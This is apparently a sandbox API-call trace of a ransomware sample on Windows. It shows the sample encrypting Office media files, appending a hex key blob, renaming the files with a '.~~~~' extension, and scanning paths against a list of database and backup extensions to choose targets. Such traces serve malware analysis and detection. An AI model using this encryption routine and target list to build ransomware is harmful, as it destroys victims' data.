	[0126.598] GetLastError () returned 0x0
	[0126.611] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff298, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.612] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xd68, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xd68, lpOverlapped=0x0) returned 1
	[0126.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.627] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.627] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.627] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.627] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.628] CloseHandle (hObject=0x128) returned 1
	[0126.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0126.632] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf.~~~~")) returned 1
	[0126.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0126.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.634] GetLastError () returned 0x0
	[0126.634] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.636] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.636] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.636] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24662599235) returned 1
	[0126.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4ef9c10, dwHighDateTime=0x1d60e1e)) 
	[0126.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821a90
	[0126.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821a90 | out: hHeap=0x300000) returned 1
	[0126.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa5b0
	[0126.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0126.637] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.637] GetLastError () returned 0x0
	[0126.637] GetLastError () returned 0x0
	[0126.637] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.637] GetLastError () returned 0x0
	[0126.637] GetLastError () returned 0x0
	[0126.641] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff290, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.641] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xd70, lpOverlapped=0x0) returned 1
	[0126.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.643] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.643] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.643] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.643] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.643] CloseHandle (hObject=0x138) returned 1
	[0126.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0126.643] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf.~~~~")) returned 1
	[0126.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0126.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.645] GetLastError () returned 0x0
	[0126.645] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.646] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.646] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.646] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24663658913) returned 1
	[0126.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4ef9c10, dwHighDateTime=0x1d60e1e)) 
	[0126.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821ac8
	[0126.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821ac8 | out: hHeap=0x300000) returned 1
	[0126.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab618
	[0126.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab618 | out: hHeap=0x300000) returned 1
	[0126.647] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.647] GetLastError () returned 0x0
	[0126.648] GetLastError () returned 0x0
	[0126.648] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.648] GetLastError () returned 0x0
	[0126.648] GetLastError () returned 0x0
	[0126.692] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff75c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.692] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x8a4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0x8a4, lpOverlapped=0x0) returned 1
	[0126.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.694] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.694] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.694] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.694] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.695] CloseHandle (hObject=0x138) returned 1
	[0126.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abc00
	[0126.695] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf.~~~~")) returned 1
	[0126.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abc00 | out: hHeap=0x300000) returned 1
	[0126.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.697] GetLastError () returned 0x0
	[0126.698] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.699] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.699] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.700] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24668984682) returned 1
	[0126.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4f92190, dwHighDateTime=0x1d60e1e)) 
	[0126.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821c18
	[0126.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821c18 | out: hHeap=0x300000) returned 1
	[0126.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab180
	[0126.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab180 | out: hHeap=0x300000) returned 1
	[0126.700] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.701] GetLastError () returned 0x0
	[0126.701] GetLastError () returned 0x0
	[0126.701] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.701] GetLastError () returned 0x0
	[0126.701] GetLastError () returned 0x0
	[0126.722] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff7de, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.722] WriteFile (in: hFile=0x138, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x822, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0x822, lpOverlapped=0x0) returned 1
	[0126.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.724] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.724] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.724] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.724] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.724] CloseHandle (hObject=0x138) returned 1
	[0126.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaee0
	[0126.724] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf.~~~~")) returned 1
	[0126.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaee0 | out: hHeap=0x300000) returned 1
	[0126.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.726] GetLastError () returned 0x0
	[0126.914] lstrlenW (lpString=".sqb") returned 4
	[0126.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".sqb") returned 0x0
	[0126.914] lstrlenW (lpString=".ost") returned 4
	[0126.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".ost") returned 0x0
	[0126.914] lstrlenW (lpString=".txt") returned 4
	[0126.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".txt") returned 0x0
	[0126.914] lstrlenW (lpString=".mdt") returned 4
	[0126.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".mdt") returned 0x0
	[0126.914] lstrlenW (lpString=".BDB") returned 4
	[0126.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".BDB") returned 0x0
	[0126.914] lstrlenW (lpString=".eql") returned 4
	[0126.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".eql") returned 0x0
	[0126.914] lstrlenW (lpString=".DBF") returned 4
	[0126.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".DBF") returned 0x0
	[0126.914] lstrlenW (lpString=".EQL") returned 4
	[0126.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".EQL") returned 0x0
	[0126.914] lstrlenW (lpString=".FDB") returned 4
	[0126.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".FDB") returned 0x0
	[0126.914] lstrlenW (lpString=".EDB") returned 4
	[0126.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".EDB") returned 0x0
	[0126.914] lstrlenW (lpString=".DACPAC") returned 7
	[0126.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".DACPAC") returned 0x0
	[0126.915] lstrlenW (lpString=".VHD") returned 4
	[0126.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".VHD") returned 0x0
	[0126.915] lstrlenW (lpString=".DBV") returned 4
	[0126.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".DBV") returned 0x0
	[0126.915] lstrlenW (lpString=".dacpac") returned 7
	[0126.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".dacpac") returned 0x0
	[0126.915] lstrlenW (lpString=".sdf") returned 4
	[0126.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".sdf") returned 0x0
	[0126.918] lstrlenW (lpString=".accdb") returned 6
	[0126.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".accdb") returned 0x0
	[0126.918] lstrlenW (lpString=".DBX") returned 4
	[0126.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".DBX") returned 0x0
	[0126.918] lstrlenW (lpString=".MDT") returned 4
	[0126.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".MDT") returned 0x0
	[0126.918] lstrlenW (lpString=".SQB") returned 4
	[0126.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".SQB") returned 0x0
	[0126.918] lstrlenW (lpString=".vhd") returned 4
	[0126.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".vhd") returned 0x0
	[0126.918] lstrlenW (lpString=".bac") returned 4
	[0126.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".bac") returned 0x0
	[0126.918] lstrlenW (lpString=".mdf") returned 4
	[0126.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".mdf") returned 0x0
	[0126.918] lstrlenW (lpString=".BAK") returned 4
	[0126.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".BAK") returned 0x0
	[0126.918] lstrlenW (lpString=".BAC") returned 4
	[0126.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".BAC") returned 0x0
	[0126.918] lstrlenW (lpString=".dbs") returned 4
	[0126.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".dbs") returned 0x0
	[0126.919] lstrlenW (lpString=".vhdx") returned 5
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".vhdx") returned 0x0
	[0126.919] lstrlenW (lpString=".NDF") returned 4
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".NDF") returned 0x0
	[0126.919] lstrlenW (lpString=".dat") returned 4
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".dat") returned 0x0
	[0126.919] lstrlenW (lpString=".DBS") returned 4
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".DBS") returned 0x0
	[0126.919] lstrlenW (lpString=".CKP") returned 4
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".CKP") returned 0x0
	[0126.919] lstrlenW (lpString=".edb") returned 4
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".edb") returned 0x0
	[0126.919] lstrlenW (lpString=".PST") returned 4
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".PST") returned 0x0
	[0126.919] lstrlenW (lpString=".dbf") returned 4
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".dbf") returned 0x0
	[0126.919] lstrlenW (lpString=".SQL") returned 4
	[0126.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF", lpSrch=".SQL") returned 0x0
	[0126.919] lstrlenW (lpString=".pst") returned 4
